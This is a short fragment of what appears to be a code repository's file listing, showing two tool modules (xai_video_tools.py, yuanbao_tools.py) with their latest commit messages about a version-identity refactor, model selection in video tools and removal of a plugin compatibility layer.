refactor: make install-stamp.json the single runtime version identity

2026-09-23 11:41:01 -04:00

xai_video_tools.py

fix: video generation tools no longer let the agent pick the model

2026-09-19 12:22:44 -07:00

yuanbao_tools.py

Old pre-decomposition import paths are gone: plugin compat layer removed on schedule (#126164)

2026-09-28 10:21:41 -07:00